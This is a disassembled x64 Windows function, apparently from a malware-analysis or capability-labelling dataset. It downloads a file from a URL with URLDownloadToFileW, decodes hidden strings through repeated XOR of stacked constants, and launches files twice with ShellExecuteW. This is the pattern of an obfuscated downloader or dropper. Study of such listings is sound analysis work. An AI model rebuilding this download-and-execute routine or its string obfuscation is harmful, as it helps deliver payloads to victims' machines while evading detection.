Function at 0x140003c90
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x320
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov rsi, r8
mov r14, rdx
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rdx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140004919
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
lea rcx, [rbp + 0x20]
call fcn.140005f80
nop
movabs rdi, 0x88548c17160aa159
movabs rbx, 0xa73a2616c9328606
cmp qword [rbp + 0xa8], r12
je 0x140004819
movabs rax, 0x883c8c74166fa119
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xa75c2679c9128669
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x28c36c692ff3c2f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs r15, 0xd2cdaa8a2dcfdc8
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs r12, 0x28c36c692ff9c293
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqu ymmword [rbp + 0x180], ymm1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140006cd0
movabs rax, 0x883b8c781666a163
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xa73a2616c9388676
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140006cd0
movabs rax, 0x88318c7a1663a12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xa71a2662c9478669
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x28f76c492f8dc2bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xd43dac6a2f3fde8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x2bbf735636c0a56f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x40f28e6c121f7801
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xc6d7d3bfb89a3cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rcx, 0x5c00b7e40c9de3ac
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs r13, 0x2bde733336b2a50d
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x40bc8e52123f786a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xc6d7d3b5b8d63ce7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x1a0], ymm1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140006cd0
movabs rax, 0x883f8c64166ba12d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xa74e2665c95b866a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x288a6c2f2fd6c2b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xd61dae1a2fefde8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x2b90737636f5a54c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x409c8e171272782b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xc69bd395b8a73c82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x5c65b7800cfce3c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x38bfd00a166a60b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x3970dd2ebf22e6ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xffcbb0b495bc8425
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0xa0a2a6408f710d30
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x3de89d8fc095ed7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x15212eca992e589d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0xc5bf64f75fb3281
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xe1ffa498bbdbb21b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0x8e474aa24a43a31b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xe2b43178b70f28f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0x7437a93f7da61f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rcx, 0xe37cedd800e8ddd8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x40bc8e52123f786a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xc6d7d3b5b8d63ce7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x5c00b7e40c9de3ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x38c7d06f164460c1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x3942dd0ebf00e6ce
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xff87b0e195f2841b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xa0c4a6608f0d0d10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x3dc89debc0fbed15
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x150e2eea996758b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xc17f66d75db32cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xe19aa4fcbbbab274
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x8e3f4ac74a6da369
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xe2fa3146b72d2896
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x7437a99f79661a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x2a0], ymm1
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140006cd0
movabs rax, 0x88768c37166ca130
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xa7682644c9778623
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x28866c252fabc2dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xd09dae4a299fd9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x2bfc730e368fa52f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x40db8e72121d785a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xc6f7d3dab8a23c88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x5c70b78b0cf2e3c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x38c7d06f164460cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rcx, 0x3942dd0ebf00e6ce
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x40bc8e52123f786a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xc6d7d3b5b8d63ce7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x5c00b7e40c9de3ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x38c7d06f164460c1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1c0]
vxorps xmm0, xmm0, xmmword [rbp + 0x260]
vmovdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140006cd0
movabs r12, 0x88748c7b166fa13d
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x20]
call fcn.140006cd0
mov rcx, rax
mov rdx, r14
call fcn.140006cd0
mov r8, rax
movabs r15, 0x88548c17160aa153
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x140], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x148], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
mov rcx, r8
call fcn.140006cd0
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x20]
call fcn.140006cd0
mov rcx, rax
mov rdx, rsi
call fcn.140006cd0
mov r8, rax
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x18], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
mov rcx, r8
call fcn.140006cd0
lea rcx, [rbp + 0x28]
call fcn.140006490
test rax, rax
jne 0x140004816
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
xor r12d, r12d
movabs r15, 0x883a8c72167aa136
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x140], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, r14
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movdqa xmm0, xmmword [rbp + 0x140]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x140], xmm0
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, rsi
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x20]
call fcn.140004b80
jmp 0x140004b4c
movabs rax, 0x883a8c601665a11d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xa75e2677c95d866a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0x28aa6c082fbfc2b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0xd2cdacca2b9fda4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rdi, 0x88548c17160aa159
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rbx, 0xa73a2616c9328606
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs r12, 0x28c36c692ff9c293
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs r15, 0xd2cdaa8a2dcfdc8
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqu ymmword [rbp + 0x180], ymm1
movabs rax, 0x883b8c651678a11c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xa7552672c9128674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x28ac6c052f97c2e4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xd42dac1a2b8fda9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x2bb773553692a56a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x40bc8e52125a7806
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs r13, 0x2bde733336b2a50d
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x40bc8e52123f786a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqa xmm2, xmmword [rbp + 0x240]
vxorps xmm2, xmm2, xmmword [rbp + 0x160]
vmovdqa xmmword [rbp + 0x240], xmm2
mov r9d, 0x10
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x220]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140008830
mov rbx, qword [rsp + 0x378]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret